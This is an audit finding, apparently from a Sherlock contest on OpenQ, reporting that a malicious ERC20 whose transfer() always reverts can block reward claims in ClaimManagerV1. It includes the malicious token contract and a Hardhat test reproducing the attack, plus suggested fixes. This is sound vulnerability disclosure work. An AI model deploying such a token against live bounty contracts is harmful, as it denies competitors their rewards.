TrungOre - Attacker can fund malicious tokens to make competitor unable to claim their reward.

[github-actions]

TrungOre

high

Attacker can fund malicious tokens to make competitor unable to claim their reward.

Summary

In AtomicBounty, when paying the reward for closer, the bounty needs to loop through the entire tokenAddress[] array. So if there is a failed transfer in a iteration, the entire process will revert.

// contract: ClaimManagerV1.sol 

function _claimAtomicBounty(
    IAtomicBounty _bounty,
    address _closer,
    bytes calldata _closerData
) internal {
    _eligibleToClaimAtomicBounty(_bounty, _closer);

    /// [#explain] claim ERC20  
    for (uint256 i = 0; i < _bounty.getTokenAddresses().length; i++) {
        uint256 volume = _bounty.claimBalance(
            _closer,
            _bounty.getTokenAddresses()[i] /// [$audit-med] out-of-gas here  
        );

        /// ...
    }

    /// [#explain] claim ERC721
    /// ... 
}

Since the bounty allows funders to deposit into the bounty unwhitelisted tokens if the token addresses is not reached, attacker can abuse this techinique by creating a malicious ERC20 token. This malicious token will revert when transferring from bounty to user, which will make a iteration in the loop of function ClaimManagerV1._claimAtomicBounty failed then make the whole function call revert.

Vulnerability Detail

Attacker can deploy a malicious ERC20 which reverts every transfer() call (not transferFrom()) like below:

pragma solidity 0.8.17;

import '@openzeppelin/contracts/token/ERC20/ERC20.sol';

contract MockMaliciousERC20 is ERC20 {
    address public admin;

    constructor() ERC20('Mock MAL', 'mMAL') {
        _mint(msg.sender, 10000 * 10**18);
        admin = msg.sender;
    }
    
    /// [#explain] revert every transfer tx 
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        require(0 == 1, "Iam a malicious ERC20");
    }
}

Here is the test scripts:

it.only('should revert when there is malicious token in bounty rewards', async() => {
    // attacker deploy malicious tokens 
    const MockMal = await ethers.getContractFactory('MockMaliciousERC20');
    const mockMal = await MockMal.deploy();
    const attacker = notOwner;

    // ARRANGE
    const volume = 100;
    await openQProxy.mintBounty(Constants.bountyId, Constants.organization, atomicBountyInitOperation);

    const bountyAddress = await openQProxy.bountyIdToAddress(Constants.bountyId);

    await mockLink.approve(bountyAddress, 10000000);
    await mockDai.approve(bountyAddress, 10000000);
    await mockMal.approve(bountyAddress, 10000000);

    /// fund bounty with LINK, DAI and Malicious token
    await depositManager.fundBountyToken(bountyAddress, mockLink.address, volume, 1, Constants.funderUuid);
    await depositManager.fundBountyToken(bountyAddress, mockDai.address, volume, 1, Constants.funderUuid);
    await depositManager.fundBountyToken(bountyAddress, mockMal.address, volume, 1, Constants.funderUuid);

    await expect(
        claimManager.connect(oracle).claimBounty(bountyAddress, claimant.address, abiEncodedSingleCloserData)
    ).to.be.revertedWith("Iam a malicious ERC20");
});

You can place it in ClaimManager.test.js -> describe('ClaimManager.sol') -> describe('claimBounty') -> describe('ATOMIC') -> describe('TRANSFER')

Impact

Competitors who join the bounty can't claim their rewards.

Code Snippet

https://github.com/sherlock-audit/2023-02-openq/blob/main/contracts/DepositManager/Implementations/DepositManagerV1.sol#L45-L50
https://github.com/sherlock-audit/2023-02-openq/blob/main/contracts/ClaimManager/Implementations/ClaimManagerV1.sol#L130-L148
https://github.com/sherlock-audit/2023-02-openq/blob/main/contracts/ClaimManager/Implementations/ClaimManagerV1.sol#L230-L249

Tool used

Hardhat

Recommendation

Consider to just deal with whitelisted token.
Or you can define a new storage array additionalTokens[] which will be modified by the bounty's issuer and let these token permission to be deposited into bounty.

Duplicate of #62